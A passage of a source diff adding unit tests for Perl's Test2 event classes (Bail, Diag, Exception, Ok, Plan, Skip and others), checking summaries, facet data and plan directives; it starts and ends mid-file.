+ is_deeply(
+ $e->facet_data,
+ $e->facets,
+ "Facets and facet_data have the same structure"
+ );
+
+ my $facets = $e->facets;
+
+ for my $key (sort keys %$facets) {
+ my $type = "Test2::EventFacet::" . ucfirst($key);
+ $type =~ s/s$//;
+ my $val = $facets->{$key};
+ if ($type->is_list) {
+ for my $f (@$val) {
+ ok($f->isa('Test2::EventFacet'), "'$key' has a blessed facet");
+ ok($f->isa("$type"), "'$key' is a '$type'") or diag("$f");
+ }
+ }
+ else {
+ ok($val->isa('Test2::EventFacet'), "'$key' has a blessed facet");
+ ok($val->isa($type), "'$key' is a '$type'");
+ }
+ }
+};
+
+tests common_facet_data => sub {
+ my $e = Test2::Event::Generic->new(
+ causes_fail => 0,
+ increments_count => 0,
+ diagnostics => 0,
+ no_display => 0,
+ callback => undef,
+ terminate => undef,
+ global => undef,
+ sets_plan => undef,
+ summary => undef,
+ facet_data => undef,
+ );
+
+ is_deeply(
+ $e->common_facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ },
+ },
+ "Facet data has an about"
+ );
+
+ $e->set_trace(Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42]));
+ is_deeply(
+ $e->common_facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ },
+ "Got a trace now"
+ );
+
+ $e->set_meta('foo', {a => 1});
+ is_deeply(
+ $e->common_facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ meta => {foo => {a => 1}},
+ },
+ "Grabbed meta"
+ );
+
+ $e->add_amnesty({tag => 'foo', details => 'bar'});
+ $e->add_amnesty({tag => 'baz', details => 'bat'});
+ is_deeply(
+ $e->common_facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ meta => {foo => {a => 1}},
+ amnesty => [
+ {tag => 'foo', details => 'bar'},
+ {tag => 'baz', details => 'bat'},
+ ],
+ },
+ "Amnesty added"
+ );
+};
+
+tests related => sub {
+ my $ctx = context();
+ my $ev_a = $ctx->build_ev2(about => {});
+ my $ev_b = $ctx->build_ev2(about => {});
+ $ctx->release;
+
+ $ctx = context();
+ my $ev_c = $ctx->build_ev2(about => {});
+ $ctx->release;
+
+ delete $ev_a->{trace}->{uuid};
+ delete $ev_b->{trace}->{uuid};
+ delete $ev_c->{trace}->{uuid};
+
+ ok($ev_a->related($ev_b), "Related as they were created with the same context (no uuid)");
+ ok(!$ev_a->related($ev_c), "Not related as they were created with a different context (no uuid)");
+
+ $ev_a->{trace}->{uuid} = 'xxx'; # Yes I know it is not valid.
+ $ev_b->{trace}->{uuid} = 'yyy'; # Yes I know it is not valid.
+ $ev_c->{trace}->{uuid} = 'xxx'; # Yes I know it is not valid.
+
+ ok(!$ev_a->related($ev_b), "Not related, traces have different UUID's");
+ ok($ev_a->related($ev_c), "Related, traces have the same UUID's");
+};
+
+tests verify_facet_data => sub {
+ my $ev1 = Test2::Event::V2->new(
+ assert => { pass => 1 },
+ info => [{tag => 'NOTE', details => 'oops' }],
+ 'a custom one' => {},
+ );
+
+ is_deeply(
+ [$ev1->validate_facet_data],
+ [],
+ "No errors"
+ );
+
+ my $ev2 = Test2::Event::V2->new(
+ assert => [{ pass => 1 }],
+ info => {tag => 'NOTE', details => 'oops' },
+ 'a custom one' => {},
+ );
+
+ my @errors = $ev2->validate_facet_data;
+ is(@errors, 2, "Got 2 errors");
+ like($errors[0], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type");
+ like($errors[1], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed");
+
+ @errors = $ev2->validate_facet_data(require_facet_class => 1);
+ is(@errors, 3, "Got 3 errors");
+ is($errors[0], "Could not find a facet class for facet 'a custom one'", "Classes required");
+ like($errors[1], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type");
+ like($errors[2], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed");
+
+ is_deeply(
+ [Test2::Event->validate_facet_data($ev1->facet_data)],
+ [],
+ "No errors"
+ );
+
+ @errors = Test2::Event->validate_facet_data($ev2->facet_data);
+ is(@errors, 2, "Got 2 errors");
+ like($errors[0], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type");
+ like($errors[1], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed");
+
+ @errors = Test2::Event->validate_facet_data($ev2->facet_data, require_facet_class => 1);
+ is(@errors, 3, "Got 3 errors");
+ is($errors[0], "Could not find a facet class for facet 'a custom one'", "Classes required");
+ like($errors[1], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type");
+ like($errors[2], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed");
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Bail.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Bail.t
new file mode 100644
index 00000000000..360179361b0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Bail.t
@@ -0,0 +1,74 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+use Test2::Event::Bail;
+use Test2::EventFacet::Trace;
+
+my $bail = Test2::Event::Bail->new(
+ trace => Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42]),
+ reason => 'evil',
+);
+
+ok($bail->causes_fail, "bailout always causes fail.");
+
+is($bail->terminate, 255, "Bail will cause the test to exit.");
+is($bail->global, 1, "Bail is global, everything should bail");
+
+is($bail->summary, "Bail out! evil", "Summary includes reason");
+$bail->set_reason("");
+is($bail->summary, "Bail out!", "Summary has no reason");
+
+ok($bail->diagnostics, "Bail events are counted as diagnostics");
+
+is_deeply(
+ $bail->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Bail',
+ },
+ control => {
+ global => 1,
+ terminate => 255,
+ details => '',
+ halt => 1
+ },
+ trace => {
+ frame => [
+ 'foo',
+ 'foo.t',
+ '42',
+ ],
+ pid => $$,
+ tid => 0
+ },
+ },
+ "Got facet data",
+);
+
+$bail->set_reason('uhg');
+is_deeply(
+ $bail->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Bail',
+ },
+ control => {
+ global => 1,
+ terminate => 255,
+ details => 'uhg',
+ halt => 1
+ },
+ trace => {
+ frame => [
+ 'foo',
+ 'foo.t',
+ '42',
+ ],
+ pid => $$,
+ tid => 0
+ },
+ },
+ "Got facet data with reason",
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Diag.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Diag.t
new file mode 100644
index 00000000000..885ee085c03
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Diag.t
@@ -0,0 +1,50 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+use Test2::Event::Diag;
+use Test2::EventFacet::Trace;
+
+my $diag = Test2::Event::Diag->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ message => 'foo',
+);
+
+is($diag->summary, 'foo', "summary is just message");
+
+$diag = Test2::Event::Diag->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ message => undef,
+);
+
+is($diag->message, 'undef', "set undef message to undef");
+is($diag->summary, 'undef', "summary is just message even when undef");
+
+$diag = Test2::Event::Diag->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ message => {},
+);
+
+like($diag->message, qr/^HASH\(.*\)$/, "stringified the input value");
+
+ok($diag->diagnostics, "Diag events are counted as diagnostics");
+
+$diag = Test2::Event::Diag->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ message => "Hi there",
+);
+
+my $facet_data = $diag->facet_data;
+ok($facet_data->{about}, "Got 'about' from common");
+ok($facet_data->{trace}, "Got 'trace' from common");
+
+is_deeply(
+ $facet_data->{info},
+ [{
+ tag => 'DIAG',
+ debug => 1,
+ details => 'Hi there',
+ }],
+ "Got info facet"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t
new file mode 100644
index 00000000000..9ac6baf72ce
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t
@@ -0,0 +1,28 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::Event::Encoding';
+my $CLASS = 'Test2::Event::Encoding';
+
+like(
+ exception { $CLASS->new() },
+ qr/'encoding' is a required attribute/,
+ "Must specify the encoding"
+);
+
+my $one = $CLASS->new(encoding => 'utf8');
+is($one->encoding, 'utf8', "Got encoding");
+is($one->summary, "Encoding set to utf8", "Got summary");
+
+is_deeply(
+ $one->facet_data,
+ {
+ about => { package => $CLASS, details => "Encoding set to utf8" },
+ control => { encoding => 'utf8' },
+ },
+ "Got facet data"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Exception.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Exception.t
new file mode 100644
index 00000000000..4d58aad7d7a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Exception.t
@@ -0,0 +1,55 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+use Test2::Event::Exception;
+
+my $exception = Test2::Event::Exception->new(
+ trace => {frame => []},
+ error => "evil at lake_of_fire.t line 6\n",
+);
+
+ok($exception->causes_fail, "Exception events always cause failure");
+
+is($exception->summary, "Exception: evil at lake_of_fire.t line 6", "Got summary");
+
+ok($exception->diagnostics, "Exception events are counted as diagnostics");
+
+my $facet_data = $exception->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+
+is_deeply(
+ $facet_data->{errors},
+ [{
+ tag => 'ERROR',
+ fail => 1,
+ details => "evil at lake_of_fire.t line 6\n",
+ }],
+ "Got error facet",
+);
+
+my $hash = {an => 'error'};
+my $str = "$hash";
+
+$exception = Test2::Event::Exception->new(
+ trace => {frame => []},
+ error => $hash,
+);
+
+ok($exception->causes_fail, "Exception events always cause failure");
+
+is($exception->error, $str, "Got stringified exception");
+
+$facet_data = $exception->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+
+is_deeply(
+ $facet_data->{errors},
+ [{
+ tag => 'ERROR',
+ fail => 1,
+ details => $str,
+ }],
+ "Got error facet",
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Fail.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Fail.t
new file mode 100644
index 00000000000..80d27f6068b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Fail.t
@@ -0,0 +1,38 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept context/;
+
+use ok 'Test2::Event::Fail';
+my $CLASS = 'Test2::Event::Fail';
+
+my $one = $CLASS->new(name => 'no soup for you');
+
+is($one->summary, "fail", 'summary');
+is($one->increments_count, 1, 'increments_count');
+is($one->diagnostics, 0, 'diagnostics');
+is($one->no_display, 0, 'no_display');
+is($one->subtest_id, undef, 'subtest_id');
+is($one->terminate, undef, 'terminate');
+is($one->global, undef, 'global');
+is($one->sets_plan, undef, 'sets_plan');
+is($one->causes_fail, 1, 'causes_fail');
+
+$one->add_amnesty({tag => 'blah', details => 'blah'});
+is($one->causes_fail, 0, 'causes_fail is off with amnesty');
+
+$one->add_info({tag => 'xxx', details => 'yyy'});
+
+is_deeply(
+ $one->facet_data,
+ {
+ about => {package => $CLASS, details => 'fail'},
+ assert => {pass => 0, details => 'no soup for you'},
+ amnesty => [{tag => 'blah', details => 'blah'}],
+ info => [{tag => 'xxx', details => 'yyy'}],
+ },
+ "Got facet data"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Generic.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Generic.t
new file mode 100644
index 00000000000..10d57ec6eed
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Generic.t
@@ -0,0 +1,141 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::EventFacet::Trace;
+
+use Test2::API qw/context intercept/;
+
+sub tool {
+ my $ctx = context();
+ my $e = $ctx->send_event('Generic', @_);
+ $ctx->release;
+ return $e;
+}
+
+my $e;
+intercept { $e = tool() };
+
+ok($e, "got event");
+ok($e->isa('Test2::Event'), "It is an event");
+ok($e->isa('Test2::Event::Generic'), "It is an event");
+delete $e->{trace};
+is_deeply(
+ $e,
+ {
+ causes_fail => 0,
+ increments_count => 0,
+ diagnostics => 0,
+ no_display => 0,
+ hubs => [
+ {
+ 'buffered' => 0,
+ 'details' => 'Test2::Hub::Interceptor',
+ 'hid' => "$$~0~2",
+ 'ipc' => 0,
+ 'nested' => 0,
+ 'pid' => $$,
+ 'tid' => 0,
+ 'uuid' => undef
+ }
+ ],
+ },
+ "Defaults"
+);
+
+for my $f (qw/causes_fail increments_count diagnostics no_display/) {
+ is($e->$f, 0, "'$f' is 0");
+ is_deeply([$e->$f], [0], "'$f' is 0 is list context as well");
+
+ my $set = "set_$f";
+ $e->$set(1);
+ is($e->$f, 1, "'$f' was set to 1");
+}
+
+for my $f (qw/callback terminate global sets_plan/) {
+ is($e->$f, undef, "no $f");
+ is_deeply([$e->$f], [], "$f is empty in list context");
+}
+
+like($e->summary, qr/Test2::Event::Generic/, "Got base class summary");
+
+like(
+ exception { $e->set_sets_plan('bad') },
+ qr/'sets_plan' must be an array reference/,
+ "Must provide an arrayref"
+);
+
+$e->set_sets_plan([0, skip => 'cause']);
+is_deeply([$e->sets_plan], [0, skip => 'cause'], "sets_plan returns a list, not a ref");
+$e->set_sets_plan(undef);
+ok(!exists $e->{sets_plan}, "Removed sets_plan key");
+ok(!$e->sets_plan, "sets_plan is cleared");
+
+$e->set_global(0);
+is($e->global, 0, "global is off");
+$e->set_global(1);
+is($e->global, 1, "global is on");
+$e->set_global(0);
+is($e->global, 0, "global is again");
+$e->set_global(undef);
+ok(!exists $e->{global}, "removed global key");
+is($e->global, undef, "global is not defined");
+
+like(
+ exception { $e->set_callback('dogfood') },
+ qr/callback must be a code reference/,
+ "Callback must be code"
+);
+
+my $ran = 0;
+$e->set_callback(sub {
+ $ran++;
+ my $self = shift;
+ is($self, $e, "got self");
+ is_deeply( \@_, ['a', 'b', 'c'], "Got args" );
+ return 'foo';
+});
+is($e->callback('a', 'b', 'c'), 'foo', "got callback's return");
+ok($ran, "ran callback");
+
+$e->set_callback(undef);
+ok(!$e->callback, "no callback");
+ok(!exists $e->{callback}, "no callback key");
+
+like(
+ exception { $e->set_terminate('1.1') },
+ qr/terminate must be a positive integer/,
+ "terminate only takes integers"
+);
+
+like(
+ exception { $e->set_terminate('foo') },
+ qr/terminate must be a positive integer/,
+ "terminate only takes numbers"
+);
+
+like(
+ exception { $e->set_terminate('-1') },
+ qr/terminate must be a positive integer/,
+ "terminate only takes positive integers"
+);
+
+$e->set_terminate(0),
+is($e->terminate, 0, "set to 0, 0 is valid");
+$e->set_terminate(1),
+is($e->terminate, 1, "set to 1");
+$e->set_terminate(123),
+is($e->terminate, 123, "set to 123");
+$e->set_terminate(0),
+is($e->terminate, 0, "set to 0, 0 is valid");
+
+$e->set_terminate(undef);
+is($e->terminate, undef, "terminate is not defined");
+ok(!exists $e->{terminate}, "no terminate key");
+
+# Test constructor args
+intercept { $e = tool(causes_fail => 1, increments_count => 'a') };
+is($e->causes_fail, 1, "attr from constructor");
+is($e->increments_count, 'a', "attr from constructor");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Note.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Note.t
new file mode 100644
index 00000000000..5ad7e69d97c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Note.t
@@ -0,0 +1,50 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::Event::Note;
+use Test2::EventFacet::Trace;
+
+my $note = Test2::Event::Note->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ message => 'foo',
+);
+
+is($note->summary, 'foo', "summary is just message");
+
+$note = Test2::Event::Note->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ message => undef,
+);
+
+is($note->message, 'undef', "set undef message to undef");
+is($note->summary, 'undef', "summary is just message even when undef");
+
+$note = Test2::Event::Note->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ message => {},
+);
+
+like($note->message, qr/^HASH\(.*\)$/, "stringified the input value");
+
+$note = Test2::Event::Note->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ message => 'Hi there',
+);
+
+my $facet_data = $note->facet_data;
+ok($facet_data->{about}, "Got 'about' from common");
+ok($facet_data->{trace}, "Got 'trace' from common");
+
+is_deeply(
+ $facet_data->{info},
+ [{
+ tag => 'NOTE',
+ debug => 0,
+ details => 'Hi there',
+ }],
+ "Got info facet"
+);
+
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Ok.t
new file mode 100644
index 00000000000..fa112179657
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Ok.t
@@ -0,0 +1,171 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::EventFacet::Trace;
+use Test2::Event::Ok;
+use Test2::Event::Diag;
+
+use Test2::API qw/context/;
+
+my $trace;
+sub before_each {
+ # Make sure there is a fresh trace object for each group
+ $trace = Test2::EventFacet::Trace->new(
+ frame => ['main_foo', 'foo.t', 42, 'main_foo::flubnarb'],
+ );
+}
+
+tests Passing => sub {
+ my $ok = Test2::Event::Ok->new(
+ trace => $trace,
+ pass => 1,
+ name => 'the_test',
+ );
+ ok($ok->increments_count, "Bumps the count");
+ ok(!$ok->causes_fail, "Passing 'OK' event does not cause failure");
+ is($ok->pass, 1, "got pass");
+ is($ok->name, 'the_test', "got name");
+ is($ok->effective_pass, 1, "effective pass");
+ is($ok->summary, "the_test", "Summary is just the name of the test");
+
+ my $facet_data = $ok->facet_data;
+ ok($facet_data->{about}, "got common facet data");
+ ok(!$facet_data->{amnesty}, "No amnesty by default");
+ is_deeply(
+ $facet_data->{assert},
+ {
+ no_debug => 1,
+ pass => 1,
+ details => 'the_test',
+ },
+ "Got assert facet",
+ );
+
+
+ $ok = Test2::Event::Ok->new(
+ trace => $trace,
+ pass => 1,
+ name => '',
+ );
+ is($ok->summary, "Nameless Assertion", "Nameless test");
+
+ $facet_data = $ok->facet_data;
+ ok($facet_data->{about}, "got common facet data");
+ ok(!$facet_data->{amnesty}, "No amnesty by default");
+ is_deeply(
+ $facet_data->{assert},
+ {
+ no_debug => 1,
+ pass => 1,
+ details => '',
+ },
+ "Got assert facet",
+ );
+};
+
+tests Failing => sub {
+ local $ENV{HARNESS_ACTIVE} = 1;
+ local $ENV{HARNESS_IS_VERBOSE} = 1;
+ my $ok = Test2::Event::Ok->new(
+ trace => $trace,
+ pass => 0,
+ name => 'the_test',
+ );
+ ok($ok->increments_count, "Bumps the count");
+ ok($ok->causes_fail, "A failing test causes failures");
+ is($ok->pass, 0, "got pass");
+ is($ok->name, 'the_test', "got name");
+ is($ok->effective_pass, 0, "effective pass");
+ is($ok->summary, "the_test", "Summary is just the name of the test");
+
+ my $facet_data = $ok->facet_data;
+ ok($facet_data->{about}, "got common facet data");
+ ok(!$facet_data->{amnesty}, "No amnesty by default");
+ is_deeply(
+ $facet_data->{assert},
+ {
+ no_debug => 1,
+ pass => 0,
+ details => 'the_test',
+ },
+ "Got assert facet",
+ );
+};
+
+tests "Failing TODO" => sub {
+ local $ENV{HARNESS_ACTIVE} = 1;
+ local $ENV{HARNESS_IS_VERBOSE} = 1;
+ my $ok = Test2::Event::Ok->new(
+ trace => $trace,
+ pass => 0,
+ name => 'the_test',
+ todo => 'A Todo',
+ );
+ ok($ok->increments_count, "Bumps the count");
+ is($ok->pass, 0, "got pass");
+ is($ok->name, 'the_test', "got name");
+ is($ok->effective_pass, 1, "effective pass is true from todo");
+ is($ok->summary, "the_test (TODO: A Todo)", "Summary is just the name of the test + todo");
+
+ my $facet_data = $ok->facet_data;
+ ok($facet_data->{about}, "got common facet data");
+ is_deeply(
+ $facet_data->{assert},
+ {
+ no_debug => 1,
+ pass => 0,
+ details => 'the_test',
+ },
+ "Got assert facet",
+ );
+ is_deeply(
+ $facet_data->{amnesty},
+ [{
+ tag => 'TODO',
+ details => 'A Todo',
+ }],
+ "Got amnesty facet",
+ );
+
+
+ $ok = Test2::Event::Ok->new(
+ trace => $trace,
+ pass => 0,
+ name => 'the_test2',
+ todo => '',
+ );
+ ok($ok->effective_pass, "empty string todo is still a todo");
+ is($ok->summary, "the_test2 (TODO)", "Summary is just the name of the test + todo");
+
+ $facet_data = $ok->facet_data;
+ ok($facet_data->{about}, "got common facet data");
+ is_deeply(
+ $facet_data->{assert},
+ {
+ no_debug => 1,
+ pass => 0,
+ details => 'the_test2',
+ },
+ "Got assert facet",
+ );
+ is_deeply(
+ $facet_data->{amnesty},
+ [{
+ tag => 'TODO',
+ details => '',
+ }],
+ "Got amnesty facet",
+ );
+
+};
+
+tests init => sub {
+ my $ok = Test2::Event::Ok->new(
+ trace => $trace,
+ pass => 1,
+ );
+ is($ok->effective_pass, 1, "set effective pass");
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Pass.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Pass.t
new file mode 100644
index 00000000000..52c71ea507c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Pass.t
@@ -0,0 +1,37 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept context/;
+
+use ok 'Test2::Event::Pass';
+my $CLASS = 'Test2::Event::Pass';
+
+my $one = $CLASS->new(name => 'soup for you', trace => {frame => ['foo', 'foo.pl', 42]});
+
+is($one->summary, "pass", 'summary');
+is($one->increments_count, 1, 'increments_count');
+is($one->diagnostics, 0, 'diagnostics');
+is($one->no_display, 0, 'no_display');
+is($one->subtest_id, undef, 'subtest_id');
+is($one->terminate, undef, 'terminate');
+is($one->global, undef, 'global');
+is($one->sets_plan, undef, 'sets_plan');
+is($one->causes_fail, 0, 'causes_fail is false');
+
+$one->add_amnesty({tag => 'blah', details => 'blah'});
+$one->add_info({tag => 'xxx', details => 'yyy'});
+
+is_deeply(
+ $one->facet_data,
+ {
+ trace => {frame => ['foo', 'foo.pl', 42]},
+ about => {package => $CLASS, details => 'pass'},
+ assert => {pass => 1, details => 'soup for you'},
+ amnesty => [{tag => 'blah', details => 'blah'}],
+ info => [{tag => 'xxx', details => 'yyy'}],
+ },
+ "Got facet data"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Plan.t
new file mode 100644
index 00000000000..4b81476fbfc
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Plan.t
@@ -0,0 +1,156 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::Event::Plan;
+use Test2::EventFacet::Trace;
+
+my $plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 100,
+);
+
+is($plan->summary, "Plan is 100 assertions", "simple summary");
+is_deeply( [$plan->sets_plan], [100, '', undef], "Got plan details");
+
+ok(!$plan->global, "regular plan is not a global event");
+is($plan->terminate, undef, "No terminate for normal plan");
+
+$plan->set_max(0);
+$plan->set_directive('SKIP');
+$plan->set_reason('foo');
+is($plan->terminate, 0, "Terminate 0 on skip_all");
+
+is($plan->summary, "Plan is 'SKIP', foo", "skip summary");
+is_deeply( [$plan->sets_plan], [0, 'SKIP', 'foo'], "Got skip details");
+
+$plan->set_max(0);
+$plan->set_directive('NO PLAN');
+$plan->set_reason(undef);
+is($plan->summary, "Plan is 'NO PLAN'", "NO PLAN summary");
+is_deeply( [$plan->sets_plan], [0, 'NO PLAN', undef], "Got 'NO PLAN' details");
+is($plan->terminate, undef, "No terminate for no_plan");
+$plan->set_max(100);
+$plan->set_directive(undef);
+
+$plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 0,
+ directive => 'skip_all',
+);
+is($plan->directive, 'SKIP', "Change skip_all to SKIP");
+
+$plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 0,
+ directive => 'no_plan',
+);
+is($plan->directive, 'NO PLAN', "Change no_plan to 'NO PLAN'");
+ok(!$plan->global, "NO PLAN is not global");
+
+like(
+ exception {
+ $plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 0,
+ directive => 'foo',
+ );
+ },
+ qr/'foo' is not a valid plan directive/,
+ "Invalid Directive"
+);
+
+like(
+ exception {
+ $plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 0,
+ reason => 'foo',
+ );
+ },
+ qr/Cannot have a reason without a directive!/,
+ "Reason without directive"
+);
+
+like(
+ exception {
+ $plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ );
+ },
+ qr/No number of tests specified/,
+ "Nothing to do"
+);
+
+like(
+ exception {
+ $plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 'skip',
+ );
+ },
+ qr/Plan test count 'skip' does not appear to be a valid positive integer/,
+ "Max must be an integer"
+);
+
+$plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 100,
+);
+
+my $facet_data = $plan->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+is($facet_data->{control}->{terminate}, undef, "no termination defined");
+is_deeply(
+ $facet_data->{plan},
+ {count => 100},
+ "Set the count"
+);
+
+$plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 0,
+ directive => 'NO PLAN',
+);
+
+$facet_data = $plan->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+is($facet_data->{control}->{terminate}, undef, "no termination defined");
+is_deeply(
+ $facet_data->{plan},
+ {count => 0, none => 1},
+ "No plan"
+);
+
+$plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 0,
+ directive => 'SKIP',
+);
+
+$facet_data = $plan->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+is($facet_data->{control}->{terminate}, 0, "terminate with 0");
+is_deeply(
+ $facet_data->{plan},
+ {count => 0, skip => 1},
+ "Skip, no reason"
+);
+
+$plan = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ max => 0,
+ directive => 'SKIP',
+ reason => 'because',
+);
+
+$facet_data = $plan->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+is($facet_data->{control}->{terminate}, 0, "terminate with 0");
+is_deeply(
+ $facet_data->{plan},
+ {count => 0, skip => 1, details => 'because'},
+ "Skip, no reason"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Skip.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Skip.t
new file mode 100644
index 00000000000..5910fb6dfe6
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Skip.t
@@ -0,0 +1,38 @@
+use Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+use Test2::Event::Skip;
+use Test2::EventFacet::Trace;
+
+my $skip = Test2::Event::Skip->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+ name => 'skip me',
+ reason => 'foo',
+);
+
+my $facet_data = $skip->facet_data;
+ok($facet_data->{about}, "Got basic data");
+is_deeply(
+ $facet_data->{amnesty},
+ [
+ {
+ tag => 'skip',
+ details => 'foo',
+ inherited => 0,
+ }
+ ],
